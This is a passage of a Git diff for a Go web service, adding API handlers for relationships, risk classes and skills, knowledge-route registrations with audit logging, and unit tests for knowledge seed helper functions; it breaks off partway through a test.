evidence_count, success_count, failure_count, status,
|
||||||
|
quarantined, version, last_validated_at
|
||||||
|
FROM patterns WHERE entity_id = $1`, id).
|
||||||
|
Scan(&p.Id, &p.AppliesType, &p.Action, &p.Pattern,
|
||||||
|
&p.Confidence, &p.EvidenceCount, &p.SuccessCount, &p.FailureCount,
|
||||||
|
&p.Status, &p.Quarantined, &p.Version, &p.LastValidatedAt)
|
||||||
|
if err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("%w: pattern %s", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "patch",
|
||||||
|
&id, "PATCH", "/api/v1/patterns/"+req.Id, "",
|
||||||
|
map[string]any{"status": req.Body.Status, "quarantined": req.Body.Quarantined}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.PatchPattern200JSONResponse(p), nil
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
120
internal/httpapi/relationships.go
Normal file
120
internal/httpapi/relationships.go
Normal file
@@ -0,0 +1,120 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Relationships ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) CreateRelationship(ctx context.Context, req gen.CreateRelationshipRequestObject) (gen.CreateRelationshipResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
sourceID, err := s.resolveEntityID(ctx, req.Body.Source)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
targetID, err := s.resolveEntityID(ctx, req.Body.Target)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
attrsJSON := []byte("{}")
|
||||||
|
if req.Body.Attributes != nil {
|
||||||
|
attrsJSON, _ = json.Marshal(req.Body.Attributes)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
_, err = tx.Exec(ctx, `
|
||||||
|
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||||
|
VALUES ($1, $2, $3, $4, now())`,
|
||||||
|
sourceID, targetID, req.Body.Type, attrsJSON)
|
||||||
|
if err != nil {
|
||||||
|
if strings.Contains(err.Error(), "unique") || strings.Contains(err.Error(), "duplicate") {
|
||||||
|
return nil, fmt.Errorf("%w: relationship %s:%s:%s already exists",
|
||||||
|
domain.ErrAlreadyExists, req.Body.Source, req.Body.Type, req.Body.Target)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
rel := gen.Relationship{
|
||||||
|
Source: req.Body.Source,
|
||||||
|
Target: req.Body.Target,
|
||||||
|
Type: req.Body.Type,
|
||||||
|
ValidFrom: time.Now(),
|
||||||
|
}
|
||||||
|
if req.Body.Attributes != nil {
|
||||||
|
rel.Attributes = req.Body.Attributes
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||||
|
nil, "POST", "/api/v1/relationships", "",
|
||||||
|
map[string]any{"source": req.Body.Source, "target": req.Body.Target, "type": req.Body.Type}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.CreateRelationship201JSONResponse(rel), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) EndRelationship(ctx context.Context, req gen.EndRelationshipRequestObject) (gen.EndRelationshipResponseObject, error) {
|
||||||
|
sourceID, err := s.resolveEntityID(ctx, req.Params.Source)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
targetID, err := s.resolveEntityID(ctx, req.Params.Target)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
result, err := sqlcgen.New(tx).EndCurrentRelationship(ctx, sqlcgen.EndCurrentRelationshipParams{
|
||||||
|
SourceID: sourceID,
|
||||||
|
TargetID: targetID,
|
||||||
|
Type: req.Params.RelType,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if result == 0 {
|
||||||
|
return nil, fmt.Errorf("%w: active relationship %s:%s:%s",
|
||||||
|
domain.ErrNotFound, req.Params.Source, req.Params.RelType, req.Params.Target)
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "delete",
|
||||||
|
nil, "DELETE", "/api/v1/relationships", "",
|
||||||
|
map[string]any{"source": req.Params.Source, "target": req.Params.Target, "type": req.Params.RelType}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.EndRelationship204Response{}, nil
|
||||||
|
}
|
||||||
33
internal/httpapi/risk_classes.go
Normal file
33
internal/httpapi/risk_classes.go
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Risk Classes ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) ListRiskClasses(ctx context.Context, req gen.ListRiskClassesRequestObject) (gen.ListRiskClassesResponseObject, error) {
|
||||||
|
rows, err := s.pool.Query(ctx, `SELECT name, description, approval_required, autonomy_allowed FROM risk_classes ORDER BY name`)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.RiskClass{}
|
||||||
|
for rows.Next() {
|
||||||
|
var rc gen.RiskClass
|
||||||
|
if err := rows.Scan(&rc.Name, &rc.Description, &rc.ApprovalRequired, &rc.AutonomyAllowed); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
items = append(items, rc)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.RiskClass{}
|
||||||
|
}
|
||||||
|
return gen.ListRiskClasses200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
@@ -97,6 +97,35 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
|||||||
MaxAge: 86400,
|
MaxAge: 86400,
|
||||||
}))
|
}))
|
||||||
|
|
||||||
|
// ─── Non-OpenAPI routes (carve-out) ────────────────────────────────
|
||||||
|
//
|
||||||
|
// These routes are registered manually on the chi router rather than
|
||||||
|
// generated from api/openapi.yaml. Each has a structural reason it
|
||||||
|
// can't go through the strict-server codegen:
|
||||||
|
//
|
||||||
|
// /healthz — infra liveness probe, no auth, no /api/v1 prefix
|
||||||
|
// /api/v1/auth/oidc-* — auth flow, must run before auth middleware
|
||||||
|
// /oidc-callback — standalone HTML page, not a JSON API
|
||||||
|
// /api/v1/events/stream — in OpenAPI but re-registered for SSE Flush()
|
||||||
|
// /api/v1/knowledge/recent — ad-hoc aggregation, no schema type yet
|
||||||
|
// /api/v1/knowledge/content/{id} — returns raw markdown, not a gen type
|
||||||
|
// /api/v1/knowledge/list — full tree listing, ad-hoc aggregate
|
||||||
|
// /api/v1/knowledge (POST) — markdown in, no gen type
|
||||||
|
// /api/v1/knowledge/content/{id} (PUT/DELETE) — markdown in, soft delete
|
||||||
|
// /api/v1/knowledge/trash — soft-deleted notes, ad-hoc
|
||||||
|
// /api/v1/knowledge/restore/{id} — undo a soft delete, no gen type
|
||||||
|
// /api/v1/knowledge/revisions/{id} — version history, no schema type
|
||||||
|
// /api/v1/knowledge/tags{,/rename} — tag index + bulk rewrite
|
||||||
|
// /api/v1/knowledge/duplicates — trigram clustering, ad-hoc
|
||||||
|
// /api/v1/knowledge/orphans — derived maintenance view
|
||||||
|
// /api/v1/knowledge/merge — bulk fold-in, ad-hoc
|
||||||
|
// /api/v1/activity/recent — recency-ordered, not paginated
|
||||||
|
// /api/v1/activity/session/{id} — session-scoped aggregation
|
||||||
|
// /api/v1/learning/timeline — derived view, no backing schema type
|
||||||
|
// /api/v1/learning/trend — derived view, no backing schema type
|
||||||
|
//
|
||||||
|
// See .agents/dev/CONTRIBUTING.md §OpenAPI codegen for the policy.
|
||||||
|
|
||||||
// Liveness — no auth, no audit (plan SG18). Not exposed via Caddy.
|
// Liveness — no auth, no audit (plan SG18). Not exposed via Caddy.
|
||||||
r.Get("/healthz", func(w http.ResponseWriter, req *http.Request) {
|
r.Get("/healthz", func(w http.ResponseWriter, req *http.Request) {
|
||||||
ctx, cancel := context.WithTimeout(req.Context(), 2*time.Second)
|
ctx, cancel := context.WithTimeout(req.Context(), 2*time.Second)
|
||||||
@@ -173,23 +202,51 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
|||||||
// Custom (non-OpenAPI) route: recency-ordered knowledge + stats for the
|
// Custom (non-OpenAPI) route: recency-ordered knowledge + stats for the
|
||||||
// Knowledge page's "what the system has learned" view. Registered after
|
// Knowledge page's "what the system has learned" view. Registered after
|
||||||
// HandlerWithOptions so it wins over any generated catch-all.
|
// HandlerWithOptions so it wins over any generated catch-all.
|
||||||
|
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/recent", s.serveRecentKnowledge)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/recent", s.serveRecentKnowledge)
|
||||||
|
|
||||||
// Custom (non-OpenAPI) route: full markdown content for a knowledge
|
// Custom (non-OpenAPI) route: full markdown content for a knowledge
|
||||||
// entity (document/investigation/runbook) by its own id or slug — the
|
// entity (document/investigation/runbook) by its own id or slug — the
|
||||||
// generated /api/v1/knowledge/{id} route (GetEntityKnowledge) answers a
|
// generated /api/v1/knowledge/{id} route (GetEntityKnowledge) answers a
|
||||||
// different question (knowledge referencing this entity), not this one.
|
// different question (knowledge referencing this entity), not this one.
|
||||||
|
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/content/{id}", s.serveKnowledgeContent)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/content/{id}", s.serveKnowledgeContent)
|
||||||
|
|
||||||
|
// Custom (non-OpenAPI) routes: the operator-facing knowledge CRUD surface
|
||||||
|
// (see internal/httpapi/knowledge_write.go) and the drift tooling (see
|
||||||
|
// knowledge_drift.go). Before these, knowledge could only be written by
|
||||||
|
// the agent through the MCP upsert_knowledge tool — the web UI had no way
|
||||||
|
// to create, correct or retire a note.
|
||||||
|
//
|
||||||
|
// Registered on the base router rather than through the OpenAPI codegen
|
||||||
|
// for the same reason as the read routes above: they trade in raw
|
||||||
|
// markdown and ad-hoc aggregates, not generated schema types.
|
||||||
|
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/list", s.serveKnowledgeList)
|
||||||
|
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge", s.serveCreateKnowledge)
|
||||||
|
r.With(combinedAuth(cfg, false)).Put("/api/v1/knowledge/content/{id}", s.serveUpdateKnowledge)
|
||||||
|
r.With(combinedAuth(cfg, false)).Delete("/api/v1/knowledge/content/{id}", s.serveDeleteKnowledge)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/trash", s.serveKnowledgeTrash)
|
||||||
|
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/restore/{id}", s.serveRestoreKnowledge)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/revisions/{id}", s.serveKnowledgeRevisions)
|
||||||
|
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/tags", s.serveKnowledgeTags)
|
||||||
|
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/tags/rename", s.serveRenameKnowledgeTag)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/duplicates", s.serveKnowledgeDuplicates)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/orphans", s.serveKnowledgeOrphans)
|
||||||
|
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/merge", s.serveMergeKnowledge)
|
||||||
|
|
||||||
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
|
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
|
||||||
// unlike ListExecutions which sorts by target for pagination) and the
|
// unlike ListExecutions which sorts by target for pagination) and the
|
||||||
// per-session "what did this session do" digest.
|
// per-session "what did this session do" digest.
|
||||||
|
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/recent", s.serveRecentActivity)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/recent", s.serveRecentActivity)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/session/{id}", s.serveSessionDigest)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/session/{id}", s.serveSessionDigest)
|
||||||
|
|
||||||
// Learning view: capability timeline + success trend, both derived from
|
// Learning view: capability timeline + success trend, both derived from
|
||||||
// executions (real, growing data) rather than the patterns/skills tables,
|
// executions (real, growing data) rather than the patterns/skills tables,
|
||||||
// which are correctly modeled but have no writers anywhere yet.
|
// which are correctly modeled but have no writers anywhere yet.
|
||||||
|
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/learning/timeline", s.serveLearningTimeline)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/learning/timeline", s.serveLearningTimeline)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/learning/trend", s.serveLearningTrend)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/learning/trend", s.serveLearningTrend)
|
||||||
|
|
||||||
|
|||||||
196
internal/httpapi/skills.go
Normal file
196
internal/httpapi/skills.go
Normal file
@@ -0,0 +1,196 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log/slog"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Skills ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) ListSkills(ctx context.Context, req gen.ListSkillsRequestObject) (gen.ListSkillsResponseObject, error) {
|
||||||
|
limit := clampLimit(req.Params.Limit)
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT s.entity_id, s.version, s.name, s.procedure, s.applies_type,
|
||||||
|
s.action, s.pattern_ids, s.status, s.success_rate,
|
||||||
|
s.changed_by::text, s.change_reason, s.last_used_at
|
||||||
|
FROM skills s
|
||||||
|
WHERE ($1::text IS NULL OR s.status = $1)
|
||||||
|
AND ($2::text IS NULL OR s.applies_type = $2)
|
||||||
|
AND ($3::text IS NULL OR s.action = $3)
|
||||||
|
ORDER BY s.name, s.version DESC`,
|
||||||
|
req.Params.Status, req.Params.AppliesTo, req.Params.Action)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
// Deduplicate to latest version per skill (the ORDER BY name, version DESC
|
||||||
|
// means the first row per name is the latest).
|
||||||
|
seen := map[string]bool{}
|
||||||
|
items := []gen.Skill{}
|
||||||
|
for rows.Next() {
|
||||||
|
var s gen.Skill
|
||||||
|
var procBytes []byte
|
||||||
|
var patternIDs []uuid.UUID
|
||||||
|
if err := rows.Scan(&s.Id, &s.Version, &s.Name, &procBytes, &s.AppliesType,
|
||||||
|
&s.Action, &patternIDs, &s.Status, &s.SuccessRate,
|
||||||
|
&s.ChangedBy, &s.ChangeReason, &s.LastUsedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if seen[s.Id.String()] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[s.Id.String()] = true
|
||||||
|
if err := json.Unmarshal(procBytes, &s.Procedure); err != nil {
|
||||||
|
slog.Warn("phase3: unmarshal skill procedure", "skill", s.Name, "error", err)
|
||||||
|
}
|
||||||
|
if len(patternIDs) > 0 {
|
||||||
|
pids := make([]string, len(patternIDs))
|
||||||
|
for i, pid := range patternIDs {
|
||||||
|
pids[i] = pid.String()
|
||||||
|
}
|
||||||
|
s.PatternIds = &pids
|
||||||
|
}
|
||||||
|
items = append(items, s)
|
||||||
|
if len(items) > limit {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.Skill{}
|
||||||
|
}
|
||||||
|
return gen.ListSkills200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) PatchSkill(ctx context.Context, req gen.PatchSkillRequestObject) (gen.PatchSkillResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
q := sqlcgen.New(tx)
|
||||||
|
|
||||||
|
if req.Body.Status != nil {
|
||||||
|
if err := q.UpdateSkillStatus(ctx, sqlcgen.UpdateSkillStatusParams{
|
||||||
|
EntityID: id,
|
||||||
|
Status: string(*req.Body.Status),
|
||||||
|
}); err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("%w: skill %s", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read skill.
|
||||||
|
var skill gen.Skill
|
||||||
|
var procBytes []byte
|
||||||
|
var patternIDs []uuid.UUID
|
||||||
|
err = tx.QueryRow(ctx, `
|
||||||
|
SELECT entity_id, version, name, procedure, applies_type, action,
|
||||||
|
pattern_ids, status, success_rate, changed_by::text,
|
||||||
|
change_reason, last_used_at
|
||||||
|
FROM skills WHERE entity_id = $1 ORDER BY version DESC LIMIT 1`, id).
|
||||||
|
Scan(&skill.Id, &skill.Version, &skill.Name, &procBytes, &skill.AppliesType,
|
||||||
|
&skill.Action, &patternIDs, &skill.Status, &skill.SuccessRate,
|
||||||
|
&skill.ChangedBy, &skill.ChangeReason, &skill.LastUsedAt)
|
||||||
|
if err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("%w: skill %s", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(procBytes, &skill.Procedure); err != nil {
|
||||||
|
slog.Warn("phase3: unmarshal skill proc", "error", err)
|
||||||
|
}
|
||||||
|
if len(patternIDs) > 0 {
|
||||||
|
pids := make([]string, len(patternIDs))
|
||||||
|
for i, pid := range patternIDs {
|
||||||
|
pids[i] = pid.String()
|
||||||
|
}
|
||||||
|
skill.PatternIds = &pids
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "patch",
|
||||||
|
&id, "PATCH", "/api/v1/skills/"+req.Id, "",
|
||||||
|
map[string]any{"status": req.Body.Status, "pinned_version": req.Body.PinnedVersion}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.PatchSkill200JSONResponse(skill), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) ListSkillVersions(ctx context.Context, req gen.ListSkillVersionsRequestObject) (gen.ListSkillVersionsResponseObject, error) {
|
||||||
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT entity_id, version, name, procedure, applies_type, action,
|
||||||
|
pattern_ids, status, success_rate, changed_by::text,
|
||||||
|
change_reason, last_used_at
|
||||||
|
FROM skills WHERE entity_id = $1
|
||||||
|
ORDER BY version DESC`, id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.Skill{}
|
||||||
|
for rows.Next() {
|
||||||
|
var skill gen.Skill
|
||||||
|
var procBytes []byte
|
||||||
|
var patternIDs []uuid.UUID
|
||||||
|
if err := rows.Scan(&skill.Id, &skill.Version, &skill.Name, &procBytes, &skill.AppliesType,
|
||||||
|
&skill.Action, &patternIDs, &skill.Status, &skill.SuccessRate,
|
||||||
|
&skill.ChangedBy, &skill.ChangeReason, &skill.LastUsedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(procBytes, &skill.Procedure); err != nil {
|
||||||
|
slog.Warn("phase3: unmarshal skill proc", "error", err)
|
||||||
|
}
|
||||||
|
if len(patternIDs) > 0 {
|
||||||
|
pids := make([]string, len(patternIDs))
|
||||||
|
for i, pid := range patternIDs {
|
||||||
|
pids[i] = pid.String()
|
||||||
|
}
|
||||||
|
skill.PatternIds = &pids
|
||||||
|
}
|
||||||
|
items = append(items, skill)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.Skill{}
|
||||||
|
}
|
||||||
|
return gen.ListSkillVersions200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
package httpapi
|
|
||||||
|
|
||||||
// Remaining stubs for endpoints that depend on tables not yet created
|
|
||||||
// (knowledge_entities, agent_activity). These are kept here because the
|
|
||||||
// phase3.go file already defines them; this file is deliberately empty.
|
|
||||||
// The stubs live in phase3.go as simple errNotImplemented returns.
|
|
||||||
155
internal/knowledge/seed_test.go
Normal file
155
internal/knowledge/seed_test.go
Normal file
@@ -0,0 +1,155 @@
|
|||||||
|
package knowledge
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"reflect"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestContentHash(t *testing.T) {
|
||||||
|
t.Run("determinism", func(t *testing.T) {
|
||||||
|
a := contentHash("hello")
|
||||||
|
b := contentHash("hello")
|
||||||
|
if a != b {
|
||||||
|
t.Errorf("contentHash not deterministic: %q != %q", a, b)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("empty string known sha256", func(t *testing.T) {
|
||||||
|
got := contentHash("")
|
||||||
|
h := sha256.Sum256([]byte(""))
|
||||||
|
want := hex.EncodeToString(h[:])
|
||||||
|
if got != want {
|
||||||
|
t.Errorf("contentHash(\"\") = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("different inputs different outputs", func(t *testing.T) {
|
||||||
|
if contentHash("a") == contentHash("b") {
|
||||||
|
t.Error("different inputs produced same hash")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("output is 64-char hex", func(t *testing.T) {
|
||||||
|
got := contentHash("anything")
|
||||||
|
if len(got) != 64 {
|
||||||
|
t.Errorf("len = %d, want 64", len(got))
|
||||||
|
}
|
||||||
|
for _, r := range got {
|
||||||
|
isHex := (r >= '0' && r <= '9') || (r >= 'a' && r <= 'f')
|
||||||
|
if !isHex {
|
||||||
|
t.Errorf("non-hex char %q in hash %q", r, got)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestStr(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
m map[string]any
|
||||||
|
key string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{"missing key", map[string]any{}, "nope", ""},
|
||||||
|
{"string value", map[string]any{"k": "v"}, "k", "v"},
|
||||||
|
{"int value", map[string]any{"k": 42}, "k", ""},
|
||||||
|
{"nil value", map[string]any{"k": nil}, "k", ""},
|
||||||
|
{"empty string", map[string]any{"k": ""}, "k", ""},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
got := str(c.m, c.key)
|
||||||
|
if got != c.want {
|
||||||
|
t.Errorf("str() = %q, want %q", got, c.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestStrSlice(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
m map[string]any
|
||||||
|
key string
|
||||||
|
want []string
|
||||||
|
}{
|
||||||
|
{"missing key", map[string]any{}, "tags", nil},
|
||||||
|
{"all strings", map[string]any{"tags": []any{"a", "b", "c"}}, "tags", []string{"a", "b", "c"}},
|
||||||
|
{"mixed types", map[string]any{"tags": []any{1, "a", true, "b"}}, "tags", []string{"a", "b"}},
|
||||||
|
{"empty array", map[string]any{"tags": []any{}}, "tags", []string{}},
|
||||||
|
{"nil elements filtered", map[string]any{"tags": []any{nil, "a", nil, "b"}}, "tags", []string{"a", "b"}},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
got := strSlice(c.m, c.key)
|
||||||
|
if len(got) != len(c.want) {
|
||||||
|
t.Errorf("len = %d, want %d (got %v)", len(got), len(c.want), got)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for i := range got {
|
||||||
|
if got[i] != c.want[i] {
|
||||||
|
t.Errorf("[%d] = %q, want %q", i, got[i], c.want[i])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMapVal(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
m map[string]any
|
||||||
|
key string
|
||||||
|
want map[string]any
|
||||||
|
}{
|
||||||
|
{"missing key", map[string]any{}, "nope", nil},
|
||||||
|
{"present map", map[string]any{"k": map[string]any{"x": 1}}, "k", map[string]any{"x": 1}},
|
||||||
|
{"wrong type string", map[string]any{"k": "v"}, "k", nil},
|
||||||
|
{"nested map", map[string]any{"k": map[string]any{"a": map[string]any{"b": 2}}}, "k", map[string]any{"a": map[string]any{"b": 2}}},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
got := mapVal(c.m, c.key)
|
||||||
|
if !reflect.DeepEqual(got, c.want) {
|
||||||
|
t.Errorf("mapVal() = %v, want %v", got, c.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestToPGArray(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
tags []string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{"empty", []string{}, "{}"},
|
||||||
|
{"single", []string{"a"}, `{"a"}`},
|
||||||
|
